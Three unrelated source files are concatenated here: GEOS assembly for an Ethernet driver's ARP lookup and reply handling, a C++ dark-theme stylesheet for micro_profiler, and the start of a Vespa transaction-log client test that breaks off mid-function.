%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EthPktArpCompareIp proc far .enter cmpdw dxcx, ds:[di].IEAE_ipAddr clc jne done mov_tr ax, di ; ds:ax = IpEtherArpEntry stc done: .leave ret EthPktArpCompareIp endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EthPktArpIpToEther %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Look up the ethernet address for the passed IP address. CALLED BY: EthODITransmitPacket PASS: dxax = IPAddr to look up, in network byte order cx = -1 if sending a packet, 0 if just doing lookup es:di = NodeAddr buffer to fill in (rest of parameters only needed if cx = -1) ^lbx:bp = packet buffer (PacketHeader) beint sent to this addr *ds:bp = ^lbx:bp RETURN: CF clear if address found NodeAddr buffer filled in CF set if not found DESTROYED: ax, dx SIDE EFFECTS: If Ethernet address is not found, packet is added to pending packet list for this IP address and will be sent later. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ed 04/29/02 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EthPktArpIpToEther proc near packetLptr local lptr push bp packetHptr local hptr push bx packetSptr local sptr push ds etherAddrBufOffset local nptr push di sendingPacket local word push cx uses bx, cx, si, di, ds .enter Assert buffer, esdi, NODE_ADDR_SIZE ; Check if looking ourselves up push cx mov cx, dgroup mov ds, cx pop cx cmpdw dxax, ds:[localIpAddr] je returnLocalAddr cmpdw dxax, 0100007Fh ; 127.0.0.1, gotta reverse the bytes je returnLocalAddr ; Check if it's a broadcast packet or not call CheckForBroadcastAddress jc broadcastPacket ; See if we're on the same subnet as the destination or not call CompareIpToLocalSubnet jnc onSameSubnet ; Test if we're actually sending a packet or just doing an arp lookup. ; If just doing a lookup; we're done as it only works for the same ; subnet. Otherwise, change the ip we're interested in to be the ; gateway address. tst cx stc jz exitLookup ; Actually sending a packet. Change the ip address we care about. movdw dxax, ds:[gatewayAddr] onSameSubnet: call EthPktArpIpTableLookup push bx jnc notFound ; ; Found. See if it is a complete entry. ; mov_tr di, ax ; ds:di = IpEtherArpEntry test ds:[di].IEAE_flags, mask AEF_COMPLETE ; clears CF jz incomplete ; => not complete, can't use ; ; Reset last-ref time. Copy Ethernet address to buffer. ; mov ds:[di].IEAE_lastRef, 0 lea si, ds:[di].IEAE_addrOrTs.IAOT_etherAddr ; ds:si = IAOT_etherAddr mov di, ss:[etherAddrBufOffset] ; es:di = passed buffer CheckHack <(NODE_ADDR_SIZE and 1) eq 0> mov cx, NODE_ADDR_SIZE / 2 rep movsw Assert carryClear ; hack unlockTable: pop bx ; bx = array hptr call MemUnlock ; flags preserved exitLookup: .leave ret returnLocalAddr: mov si, offset localEtherAddr mov cx, NODE_ADDR_SIZE / 2 rep movsw clc jmp exitLookup broadcastPacket: mov ax, 0FFFFh mov cx, 3 copyBroadcastAddrLoop: mov es:[di], ax add di, 2 loop copyBroadcastAddrLoop clc jmp exitLookup notFound: ; ; Broadcast a request to the net. ; call EthPktArpBroadcastRequest ; ; Add an incomplete entry for this IP address. ; call ChunkArrayAppend ; ds:di = IpEtherArpEntry, all zeroed Assert carryClear ;;; don't handle error for now movdw ds:[di].IEAE_ipAddr, dxcx call TimerGetCount ; bxax = count mov ds:[di].IEAE_addrOrTs.IAOT_timestamp, ax clr ds:[di].IEAE_packets.handle clr ds:[di].IEAE_packets.chunk incomplete: ; ; Prepend this packet to the list of pending packets. ; mov si, ss:[sendingPacket] tst si jz gotoUnlockTable mov es, ss:[packetSptr] mov si, ss:[packetLptr] ; *es:si = PacketHeader mov si, es:[si] movdw <es:[si + PACKET_HEADER_MAX_SIZE].IPH_next>, \ ds:[di].IEAE_packets, ax mov bx, ss:[packetHptr] mov ax, ss:[packetLptr] movdw ds:[di].IEAE_packets, bxax gotoUnlockTable: stc ; return addr not found jmp unlockTable EthPktArpIpToEther endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EthODIArpIpTableLookup %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Searches the ip table to see if we have info on the requested ip address. CALLED BY: EthODIArpIpToEther, EtherDoArpLookup PASS: dxax = IPAddr to look up, in network byte order RETURN: CF clear if address found CF set if not found Whatever else ChunkArrayEnum returns DESTROYED: ax, cx PSEUDO CODE/STRATEGY: This code was simple moved from inside another function so it didn't have to be duplicated elsewhere. REVISION HISTORY: Name Date Description ---- ---- ----------- ed 06/01/00 Moved from EthODIArpIpToEther %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EthPktArpIpTableLookup proc far ; ; Search our table. ; mov_tr cx, ax ; dxcx = IPAddr GetDGroup ds, bx movdw bxsi, ds:[arpTable] push bx ; save array hptr call MemLock mov ds, ax ; *ds:si = ARP table array mov bx, SEGMENT_CS mov di, offset EthPktArpCompareIp ; bx:di = callback call ChunkArrayEnum ; CF if found, ds:ax = IpEtherArpEntry pop bx ret EthPktArpIpTableLookup endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EthPktArpBroadcastRequest %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Broadcast an ARP request asking for the ethernet address for the passed IP address. CALLED BY: EthPktArpIpToEther PASS: dxcx = IPAddr, in network byte order RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ed 04/29/02 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EthPktArpBroadcastRequest proc near uses ax, bx, cx, dx, si, di, ds, es .enter ; ; Allocate a free buffer, if any. ; Need to disable interrupt here since allocation can be done at ; interrupt time. ; GetDGroup ds, ax mov es, ax INT_OFF mov si, ds:[recvBufFreeList] tst si jz exit ; can't alloc. Do nothing. mov ax, ds:[si].RB_nextLink mov ds:[recvBufFreeList], ax INT_ON ; ; Use the data portion of the receive buffer as an arp structure ; Fill in MAC header ; mov bx, cx ; dxbx = IPAddr mov ds:[si].RB_macHeader.MACH_type, PACKET_TYPE_ARP ; ; Fill in ethernet address for broadcasting (ff:ff:ff:ff:ff:ff). ; lea di, ds:[si].RB_macHeader.MACH_dest mov al, 0xff mov cx, NODE_ADDR_SIZE rep stosb ; ; Fill in source ethernet address ; lea di, ds:[si].RB_macHeader.MACH_source mov_tr ax, si ; es:ax = receive buffer mov si, offset localEtherAddr ; ds:si = localEtherAddr CheckHack <(NODE_ADDR_SIZE and 1) eq 0> mov cx, NODE_ADDR_SIZE / 2 rep movsw mov_tr si, ax ; es:si = buffer ; ; Fill in ARP header. ; lea si, ds:[si].RB_data mov ds:[si].IEA_arpHeader.AH_hwAddrFormat, AHAF_ETHER_NET_ORDER mov ds:[si].IEA_arpHeader.AH_protAddrFormat, PACKET_TYPE_IP mov ds:[si].IEA_arpHeader.AH_hwAddrLen, NODE_ADDR_SIZE mov ds:[si].IEA_arpHeader.AH_protAddrLen, IP_ADDR_SIZE mov ds:[si].IEA_arpHeader.AH_op, AO_REQUEST_NET_ORDER ; ; Fill in ARP addresses. ; movdw ds:[si].IEA_targetProtoAddr, dxbx movdw dxax, ds:[localIpAddr] movdw ds:[si].IEA_senderProtoAddr, dxax lea di, ds:[si].IEA_senderHwAddr ; es:di = IEA_senderHwAddr mov_tr ax, si ; es:ax = buffer mov si, offset localEtherAddr ; ds:si = localEtherAddr CheckHack <(NODE_ADDR_SIZE and 1) eq 0> mov cx, NODE_ADDR_SIZE / 2 rep movsw mov_tr si, ax ; es:si = buffer ; ; Pad with trailing zero's ; CheckHack <((size IpEtherArp) and 1) eq 0> CheckHack <(size IpEtherArp + size MACHeader) lt MIN_PACKET_SIZE> lea di, ds:[si + size IpEtherArp] clr ax mov cx, (MIN_PACKET_SIZE - size IpEtherArp - size MACHeader) / 2 rep stosw ; ; Send the request. ; CheckHack <(offset RB_data) eq (offset RB_macHeader + size MACHeader)> sub si, size MACHeader mov bx, MAX_SEND_ATTEMPTS mov ah, PDF_SEND_PKT mov cx, MIN_PACKET_SIZE retrySend: pusha call callPacketDriver popa jnc freeBuffer dec bx jnz retrySend ; Free the buffer freeBuffer: sub si, offset RB_macHeader INT_OFF mov ax, si ; es:ax = buffer to free xchg ax, ds:[recvBufFreeList] ; es:ax = old head of buf list mov ds:[si].RB_nextLink, ax ifdef LOG pusha push ds segmov ds, dgroup mov si, ds:[currentIndex] inc ds:[currentIndex] mov ds:[logBuf][si], LOG_ARP_SEND_COMP_END pop ds popa endif exit: INT_ON .leave ret EthPktArpBroadcastRequest endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EPProcessArpPacket %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Process an incoming ARP packet. CALLED BY: MSG_EP_PROCESS_ARP_PACKET PASS: ds = dgroup dx:cx = buffer allocated from our buffer list RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: We assume that a network of GEOS clients is probably a network of machines for users to browse the web (which goes through the IP gateway) and telnet to a few local servers. GEOS clients probably never talk among themselves. It is unlike a distributed computing environment (e.g. NOW) where clients mostly talk to other clients on the same local network. AO_REQUEST: Add the IP/Ethernet address pair of the requesting machine to our table, because it's very likely that we will be sending some IP packets to that machine very soon (probably a reply in some higher protocol). Then send a reply. AO_REPLY: Add the IP/Ethernet address pair of the replying machine to our ARP table. AO_REVARP_REQUEST: Ignored. We don't keep the necessary info to reply to this. Leave this job to a dedicated server. Don't even bother adding the addresses of the requesting machine to our table. AO_REVARP_REPLY: Ignored. We should never be getting this anyway because we never issue AO_REVARP_REQUEST. The packet was probably caused by some error somewhere. REVISION HISTORY: Name Date Description ---- ---- ----------- ed 04/30/02 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EPProcessArpPacket method dynamic EtherProcessClass, MSG_EP_PROCESS_ARP_PACKET .enter Assert dgroup, dx Assert fptr, dxcx push si ; ; Make sure it's large enough ; cmp ds:[si].RB_size, size IpEtherArp jb freeBuf ; ; Ignore packet if format of protocol addrs is not IP. ; CheckHack <offset RB_macHeader + size MACHeader eq offset RB_data> lea si, ds:[si].RB_data cmp ds:[si].IEA_arpHeader.AH_protAddrFormat, PACKET_TYPE_IP jne freeBuf ; ; Ignore packet if target IP addrs doesn't match ours. ; movdw dxax, ds:[localIpAddr] cmpdw dxax, ds:[si].IEA_targetProtoAddr jne freeBuf ; ; Ignore if opcode is AO_REVARP_xxx or any opcode that we don't ; understand (this can happen if new opcodes are added to ARP on ; other machines in the future.) ; cmp ds:[si].IEA_arpHeader.AH_op, AO_REQUEST_NET_ORDER je addAddr cmp ds:[si].IEA_arpHeader.AH_op, AO_REPLY_NET_ORDER jne freeBuf ; => AO_REVARP_xxx or unknown opcode addAddr: ; ; Fill in our IP addr as the sender protocol addr, in case we do a ; reply later. ; xchgdw dxax, ds:[si].IEA_senderProtoAddr ; dxax = remote IP addr ; in netowrk order ; ; Add the addrs of the requesting host to our ARP table. ; push si ; save IpEtherArp nptr mov bx, ds add si, offset IEA_senderHwAddr ; bx:si = remote NodeAddr call EthPktArpAddCompleteEntry pop si ; ds:si = IpEtherArp ; ; We are now done if opcode is AO_REPLY. ; cmp ds:[si].IEA_arpHeader.AH_op, AO_REPLY_NET_ORDER je freeBuf ; ; Opcode is AO_REQUEST. Construct a reply by reusing the buffer ; mov ds:[si].IEA_arpHeader.AH_op, AO_REPLY_NET_ORDER ; ; Use the sender's HW and protocol addrs as our target addrs. ; push si movdw ds:[si].IEA_targetProtoAddr, dxax GetDGroup es, di lea di, ds:[si].IEA_targetHwAddr ; es:di = IEA_targetHwAddr add si, offset IEA_senderHwAddr ; ds:si = IEA_senderHwAddr CheckHack <(NODE_ADDR_SIZE and 1) eq 0> mov cx, NODE_ADDR_SIZE / 2 rep movsw ; ; Fill in our Ethernet addr as the sender HW addr. ; mov si, offset localEtherAddr ; ds:si = localEtherAddr CheckHack <offset IEA_senderHwAddr + size IEA_senderHwAddr \ eq offset IEA_senderProtoAddr> CheckHack <offset IEA_senderProtoAddr + \ size IEA_senderProtoAddr eq offset IEA_targetHwAddr> sub di, size IEA_targetHwAddr + size IEA_senderProtoAddr \ + size IEA_senderHwAddr ; es:di = IEA_senderHWAddr CheckHack <(NODE_ADDR_SIZE and 1) eq 0> mov cx, NODE_ADDR_SIZE / 2 rep movsw ; ; Fill in the MAC header ; pop di mov si, di lea si, ds:[si].IEA_targetHwAddr sub di, size MACHeader push di mov es:[di].MACH_type, PACKET_TYPE_ARP CheckHack <(offset MACH_source) eq (offset MACH_dest + size NodeAddr)> lea di, ds:[di].MACH_dest CheckHack <(NODE_ADDR_SIZE and 1) eq 0> mov cx, NODE_ADDR_SIZE / 2 rep movsw mov si, offset localEtherAddr mov cx, NODE_ADDR_SIZE / 2 rep movsw pop si mov di, si sub di, offset RB_macHeader mov cx, es:[di].RB_size add cx, size MACHeader mov bx, MAX_SEND_ATTEMPTS mov ah, PDF_SEND_PKT retrySend: pusha call callPacketDriver popa jnc freeBuf dec bx jnz retrySend freeBuf: ; ; Free recv buffer. Need to disable interrupt here since allocation ; is done at interrupt time. ; pop si INT_OFF mov ax, si ; ds:ax = buff to free xchg ax, ds:[recvBufFreeList] ; ds:ax = old head of buf list mov ds:[si].RB_nextLink, ax INT_ON .leave ret EPProcessArpPacket endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EtherDoArpLookup %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Does an ARP lookup on the passed IP address. Returns the associated MAC address, if any. CALLED BY: EXTERNAL PASS: ds:si = SocketAddress cx:dx = buffer for MAC address (6 bytes) bx = buffer size (0 just to know if MAC exists for an ip) RETURN: ax = SocketError bx = Address size DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ed 06/01/00 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EtherDoArpLookup proc far bufferSize local word push bx macBufferSeg local sptr push cx macBufferOff local lptr push dx ipAddr local dword uses cx, dx, ds, es, si, di .enter movdw dxax, ({dword}({TcpAccPntResolvedAddress}ds:[si].SA_address).TAPRA_ipAddr) movdw ipAddr, dxax cmpdw dxax, 0100007Fh je arpLoopback ; if loopback, skip the subnet test and actually do the lookup, ; will be translated there call CompareIpToLocalSubnet jc arpNotFound arpLoopback: mov cx, bufferSize cmp cx, NODE_ADDR_SIZE jb linkAddrBufferTooSmall clr cx mov di, macBufferSeg mov es, di mov di, macBufferOff call EthPktArpIpToEther jnc arpMatchFound ; Sleep for a few seconds and try again... ; this gives time for a response to come in mov ax, 60 * 2 ; 60 tics/sec * 2 sec call TimerSleep ; Try the arp lookup again. This time just look directly in ; the table, so we don't queue another arp request. movdw dxax, ipAddr call EthPktArpIpTableLookup jnc arpNotFound mov_tr di, ax test ds:[di].IEAE_flags, mask AEF_COMPLETE jz arpNotFound mov ax, SE_NORMAL mov cx, bufferSize tst cx jz arpLookupDone lea si, ds:[di].IEAE_addrOrTs.IAOT_etherAddr mov di, macBufferSeg mov es, di mov di, macBufferOff mov cx, NODE_ADDR_SIZE / 2 rep movsw mov ax, SE_NORMAL arpLookupDone: call MemUnlock arpLookupExit: .leave mov bx, NODE_ADDR_SIZE ret arpMatchFound: mov ax, SE_NORMAL jmp arpLookupExit linkAddrBufferTooSmall: mov ax, SE_BUFFER_TOO_SMALL jmp arpLookupExit arpNotFound: mov ax, SE_DESTINATION_UNREACHABLE jmp arpLookupExit EtherDoArpLookup endp MovableCode ends
// Copyright (c) 2011-2021 by Artem A. Gevorkyan (gevorkyan.org) // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. #include <agge.text/text_engine.h> #include <wpl/stylesheet_db.h> #include <wpl/visual.h> #ifdef _WIN32 const auto c_defaultFont = "Segoe UI"; #else const auto c_defaultFont = "Lucida Grande"; #endif using namespace agge; using namespace std; using namespace wpl; namespace micro_profiler { shared_ptr<stylesheet> create_static_stylesheet(gcontext::text_engine_type &text_engine) { const auto stylesheet_ = make_shared<stylesheet_db>(); stylesheet_->set_color("background", color::make(42, 43, 44)); stylesheet_->set_color("background.selected", color::make(16, 96, 192)); stylesheet_->set_color("text", color::make(220, 220, 220)); stylesheet_->set_color("text.selected", color::make(220, 220, 220)); stylesheet_->set_color("border", color::make(156, 156, 156)); stylesheet_->set_color("separator", color::make(64, 65, 67)); stylesheet_->set_color("background.listview", color::make(27, 28, 29)); stylesheet_->set_color("background.listview.even", color::make(0, 0, 0, 0)); stylesheet_->set_color("background.listview.odd", color::make(38, 39, 40)); stylesheet_->set_color("background.header", color::make(39, 40, 42)); stylesheet_->set_color("background.header.sorted", color::make(48, 48, 48)); stylesheet_->set_color("text.header", color::make(255, 255, 255)); stylesheet_->set_color("text.header.indicator", color::make(123, 124, 126)); stylesheet_->set_value("border", 1.0f); stylesheet_->set_value("padding", 3.0f); stylesheet_->set_value("separator", 1.0f); stylesheet_->set_font("text", text_engine.create_font(font_descriptor::create(c_defaultFont, 13, regular, false, hint_vertical))); stylesheet_->set_font("text.header", text_engine.create_font(font_descriptor::create(c_defaultFont, 14, semi_bold, false, hint_vertical))); return stylesheet_; } }
// Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #include <vespa/searchlib/transactionlog/translogclient.h> #include <vespa/searchlib/transactionlog/translogserver.h> #include <vespa/vespalib/testkit/testapp.h> #include <vespa/vespalib/objects/identifiable.h> #include <vespa/searchlib/index/dummyfileheadercontext.h> #include <vespa/document/util/bytebuffer.h> #include <vespa/fastos/file.h> #include <vespa/log/log.h> LOG_SETUP("translogclient_test"); using namespace search; using namespace transactionlog; using namespace document; using namespace vespalib; using namespace std::chrono_literals; using search::index::DummyFileHeaderContext; using search::transactionlog::client::TransLogClient; using search::transactionlog::client::Session; using search::transactionlog::client::Visitor; using search::transactionlog::client::RPC; using search::transactionlog::client::Callback; namespace { bool createDomainTest(TransLogClient & tls, const vespalib::string & name, size_t preExistingDomains=0); std::unique_ptr<Session> openDomainTest(TransLogClient & tls, const vespalib::string & name); bool fillDomainTest(Session * s1, const vespalib::string & name); void fillDomainTest(Session * s1, size_t numPackets, size_t numEntries); void fillDomainTest(Session * s1, size_t numPackets, size_t numEntries, size_t entrySize); uint32_t countFiles(const vespalib::string &dir); void checkFilledDomainTest(Session &s1, size_t numEntries); bool visitDomainTest(TransLogClient & tls, Session * s1, const vespalib::string & name); void createAndFillDomain(const vespalib::string & name, Encoding encoding, size_t preExistingDomains); void verifyDomain(const vespalib::string & name); vespalib::string myhex(const void * b, size_t sz) { static const char * hextab="0123456789ABCDEF"; const auto * c = static_cast<const unsigned char *>(b); vespalib::string s; s.reserve(sz*2); for (size_t i=0; i < sz; i++) { s += hextab[c[i] >> 4]; s += hextab[c[i] & 0x0f]; } return s; } class CallBackTest : public Callback { private: RPC::Result receive(const Packet & packet) override; void eof() override { _eof = true; } typedef std::map<SerialNum, std::unique_ptr<ByteBuffer>> PacketMap; PacketMap _packetMap; public: CallBackTest() : _eof(false) { } size_t size() const { return _packetMap.size(); } bool hasSerial(SerialNum n) const { return (_packetMap.find(n) != _packetMap.end()); } void clear() { _eof = false; _packetMap.clear(); } const ByteBuffer & packet(SerialNum n) { return *(_packetMap.find(n)->second); } bool _eof; }; RPC::Result CallBackTest::receive(const Packet & p) { nbostream_longlivedbuf h(p.getHandle().data(), p.getHandle().size()); LOG(info,"CallBackTest::receive (%zu, %zu, %zu)(%s)", h.rp(), h.size(), h.capacity(), myhex(h.peek(), h.size()).c_str()); while( ! h.empty()) { Packet::Entry e; e.deserialize(h); LOG(info,"CallBackTest::receive (%zu, %zu, %zu)(%s)", h.rp(), h.size(), h.capacity(), myhex(e.data().c_str(), e.data().size()).c_str()); _packetMap[e.serial()] = std::make_unique<ByteBuffer>(e.data().c_str(), e.data().size()); } return RPC::OK; } class CallBackManyTest : public Callback { private: RPC::Result receive(const Packet & packet) override; void eof() override { _eof = true; } public: explicit CallBackManyTest(size_t start) : _eof(false), _count(start), _value(start) { } void clear() { _eof = false; _count = 0; _value = 0; } bool _eof; size_t _count; size_t _value; }; RPC::Result CallBackManyTest::receive(const Packet & p) { nbostream_longlivedbuf h(p.getHandle().data(), p.getHandle().size()); for(; ! h.empty(); _count++, _value++) { Packet::Entry e; e.deserialize(h); assert(e.data().size() == 8); size_t v = *(const size_t*) (const void *)e.data().c_str(); assert(_count+1 == e.serial()); assert(v == _value); (void) v; } return RPC::OK; } class CallBackUpdate : public Callback { public: typedef std::map<SerialNum, Identifiable *> PacketMap; private: RPC::Result receive(const Packet & packet) override; void eof() override { _eof = true; } PacketMap _packetMap; public: CallBackUpdate() : _eof(false) { } ~CallBackUpdate() override { while (_packetMap.begin() != _packetMap.end()) { delete _packetMap.begin()->second; _packetMap.erase(_packetMap.begin()); } } bool hasSerial(SerialNum n) const { return (_packetMap.find(n) != _packetMap.end()); } const PacketMap & map() const { return _packetMap; } bool _eof; }; RPC::Result CallBackUpdate::receive(const Packet & packet) { nbostream_longlivedbuf h(packet.getHandle().data(), packet.getHandle().size()); while ( ! h.empty() ) { Packet::Entry e; e.deserialize(h); const vespalib::Identifiable::RuntimeClass * cl(vespalib::Identifiable::classFromId(e.type())); if (cl) { vespalib::Identifiable * obj(cl->create()); if (obj->inherits(Identifiable::classId)) { auto * ser = static_cast<Identifiable *>(obj); nbostream is(e.data().c_str(), e.data().size()); try { is >> *ser; } catch (std::exception & ex) { LOG(warning, "Failed deserializing (%" PRId64 ", %s) bb(%zu, %zu, %zu)=%s what=%s", e.serial(), cl->name(), is.rp(), is.size(), is.capacity(), myhex(is.peek(), is.size()).c_str(), ex.what()); assert(false); return RPC::ERROR; } ASSERT_TRUE(is.state() == nbostream::ok); ASSERT_TRUE(is.empty()); _packetMap[e.serial()] = ser; } else { LOG(warning, "Packet::Entry(%" PRId64 ", %s) is not a Identifiable", e.serial(), cl->name()); } } else { LOG(warning, "Packet::Entry(%" PRId64 ", %d) is not recognized by vespalib::Identifiable", e.serial(), e.type()); } } return RPC::OK; } class CallBackStatsTest : public Callback { private: RPC::Result receive(const Packet & packet) override; void eof() override { _eof = true; } public: CallBackStatsTest() : _eof(false), _count(0), _inOrder(0), _firstSerial(0), _lastSerial(0), _prevSerial(0) { } void clear() { _eof = false; _count = 0; _inOrder = 0; _firstSerial = 0; _lastSerial = 0; _inOrder = 0; } bool _eof; uint64_t _count; uint64_t _inOrder; // increase when next entry is one above previous SerialNum _firstSerial; SerialNum _lastSerial; SerialNum _prevSerial; }; RPC::Result CallBackStatsTest::receive(const Packet & p) { nbostream_longlivedbuf h(p.getHandle().data(), p.getHandle().size()); for(; ! h.empty(); ++_count) { Packet::Entry e; e.deserialize(h); SerialNum s = e.serial(); if (_count == 0) { _firstSerial = s; _lastSerial = s; } if (s == _prevSerial + 1) { ++_inOrder; } _prevSerial = s; if (_firstSerial > s) { _firstSerial = s; } if (_lastSerial < s) { _lastSerial = s; } } return RPC::OK; } #define CID_TestIdentifiable 0x5762314 class TestIdentifiable : public Identifiable { public: DECLARE_IDENTIFIABLE(TestIdentifiable); TestIdentifiable() { } }; IMPLEMENT_IDENTIFIABLE(TestIdentifiable, Identifiable); constexpr size_t DEFAULT_PACKET_SIZE = 0xf000; bool createDomainTest(TransLogClient & tls, const vespalib::string & name, size_t preExistingDomains) { bool retval(true); std::vector<vespalib::string> dir; tls.listDomains(dir); EXPECT_EQUAL (dir.size(), preExistingDomains); auto s1 = tls.open(name); ASSERT_FALSE (s1); retval = tls.create(name); ASSERT_TRUE (retval); dir.clear(); tls.listDomains(dir); EXPECT_EQUAL (dir.size(), preExistingDomains+1); // ASSERT_TRUE (dir[0] == name); return retval; } std::unique_ptr<Session> openDomainTest(TransLogClient & tls, const vespalib::string & name) { auto s1 = tls.open(name); ASSERT_TRUE (s1); return s1; } bool fillDomainTest(Session * s1, const vespalib::string & name) { bool retval(true); Packet::Entry e1(1, 1, vespalib::ConstBufferRef("Content in buffer A", 20)); Packet::Entry e2(2, 2, vespalib::ConstBufferRef("Content in buffer B", 20)); Packet::Entry e3(3, 1, vespalib::ConstBufferRef("Content in buffer C", 20)); Packet a(DEFAULT_PACKET_SIZE); a.add(e1); Packet b(DEFAULT_PACKET_SIZE); b.add(e2); b.add(e3); EXPECT_EXCEPTION(b.add(e1), std::runtime_error, ""); ASSERT_TRUE (s1->commit(vespalib::ConstBufferRef(a.getHandle().data(), a.getHandle().size()))); ASSERT_TRUE (s1->commit(vespalib::ConstBufferRef(b.getHandle().data(), b.getHandle().size()))); EXPECT_EXCEPTION(s1->commit(vespalib::ConstBufferRef(a.getHandle().data(), a.getHandle().size())), std::runtime_error, "commit failed with code -2. server says: Exception during commit on " + name + " : Incoming serial number(1) must be bigger than the last one (3)."); EXPECT_EQUAL(a.size(), 1u); EXPECT_EQUAL(a.range().from(), 1u); EXPECT_EQUAL(a.range().to(), 1u); EXPECT_EQUAL(b.size(), 2u); EXPECT_EQUAL(b.range().from(), 2u); EXPECT_EQUAL(b.range().to(), 3u); a.merge(b); EXPECT_EQUAL(a.size(), 3u); EXPECT_EQUAL(a.range().from(), 1u); EXPECT_EQUAL(a.range().to(), 3u); Packet::Entry e; vespalib::nbostream h(a.getHandle().data(), a.getHandle().size()); e.deserialize(h); e.deserialize(h); e.deserialize(h); EXPECT_EQUAL(h.size(), 0u); return retval; } void fillDomainTest(Session * s1, size_t numPackets, size_t numEntries) { size_t value(0); for(size_t i=0; i < numPackets; i++) { std::unique_ptr<Packet> p(new Packet(DEFAULT_PACKET_SIZE)); for(size_t j=0; j < numEntries; j++, value++) { Packet::Entry e(value+1, j+1, vespalib::ConstBufferRef((const char *)&value, sizeof(value))); p->add(e); if (p->sizeBytes() > DEFAULT_PACKET_SIZE){ ASSERT_TRUE(s1->commit(vespalib::ConstBufferRef(p->getHandle().data(), p->getHandle().size()))); p = std::make_unique<Packet>(DEFAULT_PACKET_SIZE); } } ASSERT_TRUE(s1->commit(vespalib::ConstBufferRef(p->getHandle().data(), p->getHandle().size()))); } } using Counter = std::atomic<size_t>; class CountDone : public IDestructorCallback { public: explicit CountDone(Counter & inFlight) : _inFlight(inFlight) { ++_inFlight; } ~CountDone() override { --_inFlight; } private: Counter & _inFlight; }; void fillDomainTest(TransLogServer & s1, const vespalib::string & domain, size_t numPackets, size_t numEntries) { size_t value(0); Counter inFlight(0); auto domainWriter = s1.getWriter(domain); for(size_t i=0; i < numPackets; i++) { std::unique_ptr<Packet> p(new Packet(DEFAULT_PACKET_SIZE)); for(size_t j=0; j < numEntries; j++, value++) { Packet::Entry e(value+1, j+1, vespalib::ConstBufferRef((const char *)&value, sizeof(value))); p->add(e); if ( p->sizeBytes() > DEFAULT_PACKET_SIZE ) { domainWriter->append(*p, std::make_shared<CountDone>(inFlight)); p = std::make_unique<Packet>(DEFAULT_PACKET_SIZE); } } domainWriter->append(*p, std::make_shared<CountDone>(inFlight)); auto keep = domainWriter->startCommit(Writer::DoneCallback()); LOG(info, "Inflight %ld", inFlight.load()); } while (inFlight.load() != 0) { std::this_thread::sleep_for(10ms); LOG(info, "Waiting for inflight %ld to reach zero", inFlight.load()); } } void fillDomainTest(Session * s1, size_t numPackets, size_t numEntries, size_t entrySize) { size_t value(0); std::vector<char> entryBuffer(entrySize); for(size_t i=0; i < numPackets; i++) { std::unique_ptr<Packet> p(new 